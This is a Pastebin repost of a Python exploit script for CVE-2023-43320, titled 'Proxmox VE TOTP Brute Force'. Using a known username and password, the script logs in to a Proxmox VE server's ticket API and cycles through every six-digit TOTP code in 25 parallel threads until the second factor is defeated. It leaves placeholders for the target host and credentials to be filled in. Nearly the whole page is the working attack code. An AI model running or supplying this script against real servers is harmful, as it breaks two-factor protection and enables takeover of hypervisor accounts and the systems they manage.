Advertisement
FlyFar

Proxmox VE - TOTP Brute Force - CVE-2023-43320

Feb 2nd, 2024
1,099
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.87 KB | Cybersecurity | 0 0
  1. # Exploit Title: Proxmox VE TOTP Brute Force
  2. # Date: 09/23/2023
  3. # Exploit Author: Cory Cline, Gabe Rust
  4. # Vendor Homepage: https://www.proxmox.com/en/
  5. # Software Link: http://download.proxmox.com/iso/
  6. # Version: 5.4 - 7.4-1
  7. # Tested on: Debian
  8. # CVE : CVE-2023-43320
  9.  
  10. import time
  11. import requests
  12. import urllib.parse
  13. import json
  14. import os
  15. import urllib3
  16.  
  17. urllib3.disable_warnings()
  18. threads=25
  19.  
  20. #################### REPLACE THESE VALUES #########################
  21. password="KNOWN PASSWORD HERE"
  22. username="KNOWN USERNAME HERE"
  23. target_url="https://HOST:PORT"
  24. ##################################################################
  25.  
  26. ticket=""
  27. ticket_username=""
  28. CSRFPreventionToken=""
  29. ticket_data={}
  30.  
  31. auto_refresh_time = 20 # in minutes - 30 minutes before expiration
  32. last_refresh_time = 0
  33.  
  34. tokens = [];
  35.  
  36. for num in range(0,1000000):
  37.     tokens.append(str(num).zfill(6))
  38.  
  39. def refresh_ticket(target_url, username, password):
  40.     global CSRFPreventionToken
  41.     global ticket_username
  42.     global ticket_data
  43.     refresh_ticket_url = target_url + "/api2/extjs/access/ticket"
  44.     refresh_ticket_cookies = {}
  45.     refresh_ticket_headers = {}
  46.     refresh_ticket_data = {"username": username, "password": password, "realm": "pve", "new-format": "1"}
  47.     ticket_data_raw = urllib.parse.unquote(requests.post(refresh_ticket_url, headers=refresh_ticket_headers, cookies=refresh_ticket_cookies, data=refresh_ticket_data, verify=False).text)
  48.     ticket_data = json.loads(ticket_data_raw)
  49.     CSRFPreventionToken = ticket_data["data"]["CSRFPreventionToken"]
  50.     ticket_username = ticket_data["data"]["username"]
  51.  
  52. def attack(token):
  53.     global last_refresh_time
  54.     global auto_refresh_time
  55.     global target_url
  56.     global username
  57.     global password
  58.     global ticket_username
  59.     global ticket_data
  60.     if ( int(time.time()) > (last_refresh_time + (auto_refresh_time * 60)) ):
  61.         refresh_ticket(target_url, username, password)
  62.         last_refresh_time = int(time.time())
  63.  
  64.     url = target_url + "/api2/extjs/access/ticket"
  65.     cookies = {}
  66.     headers = {"Csrfpreventiontoken": CSRFPreventionToken}
  67.     stage_1_ticket = str(json.dumps(ticket_data["data"]["ticket"]))[1:-1]
  68.     stage_2_ticket = stage_1_ticket.replace('\\"totp\\":', '\"totp\"%3A').replace('\\"recovery\\":', '\"recovery\"%3A')
  69.     data = {"username": ticket_username, "tfa-challenge": stage_2_ticket, "password": "totp:" + str(token)}
  70.     response = requests.post(url, headers=headers, cookies=cookies, data=data, verify=False)
  71.     if(len(response.text) > 350):
  72.         print(response.text)
  73.         os._exit(1)
  74.  
  75. while(1):
  76.     refresh_ticket(target_url, username, password)
  77.     last_refresh_time = int(time.time())
  78.  
  79.     with concurrent.futures.ThreadPoolExecutor(max_workers=threads) as executor:
  80.         res = [executor.submit(attack, token) for token in tokens]
  81.         concurrent.futures.wait(res)
  82.            
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement